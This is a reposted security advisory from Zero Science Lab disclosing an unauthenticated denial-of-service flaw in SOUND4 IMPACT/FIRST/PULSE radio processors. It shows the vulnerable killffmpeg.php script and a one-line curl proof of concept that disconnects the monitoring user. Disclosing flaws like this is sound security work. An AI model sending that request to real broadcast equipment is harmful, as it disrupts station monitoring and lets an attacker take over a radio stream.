SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x Disconnect Webmonitor User (DoS)

🗓️ 14 Dec 2022 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 265 Views

SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x Disconnect Webmonitor User (DoS) advisory. Unauthenticated attacker can disconnect current monitoring user and take over radio stream on specific channel. Vendor did not respond to security advisory. Vulnerability discovered by Gjoko Krstic. Sound variations and changes in level reduced by over 90% in SOUND4 IMPACT. SOUND4 PULSE provides ultimate price-performance ratio for radio broadcasting standards. SOUND4 FIRST delivers uncompromising sound quality with 2-band processing and digital stereo generator.

<html><body><p>SOUND4 IMPACT/FIRST/PULSE/Eco &lt;=2.x Disconnect Webmonitor User (DoS)


Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
                  Impact/Pulse/First (Version 2: 1.1/2.15)
                  Impact/Pulse/First (Version 1: 2.1/1.69)
                  Impact/Pulse Eco 1.16
                  Voice Processing:
                  BigVoice4 1.2
                  BigVoice2 1.30
                  Web-Audio Streaming:
                  Stream 1.1/2.4.29
                  Watermarking:
                  WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application allows an unauthenticated attacker to disconnect the
current monitoring user from listening/monitoring and takeover the radio
stream on a specific channel.

------------------------------------------------------------------------
/var/www/killffmpeg.php:
------------------------

01: <?php 02:     $ret=0;
03:     exec("bash -c 'kill $(cat /tmp/webplay.pid)'",$out,$ret);
04:     echo $ret;
05: ?>
------------------------------------------------------------------------

Tested on: Apache/2.4.25 (Unix)
           OpenSSL/1.0.2k
           PHP/7.1.1
           GNU/Linux 5.10.43 (armv7l)
           GNU/Linux 4.9.228 (armv7l)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2022-5725
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5725.php


26.09.2022

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&gt; curl -sko -nul https://RADIO/killffmpeg.php
</p></body></html>

14 Dec 2022 00:00Current

5.8Medium risk

Vulners AI Score5.8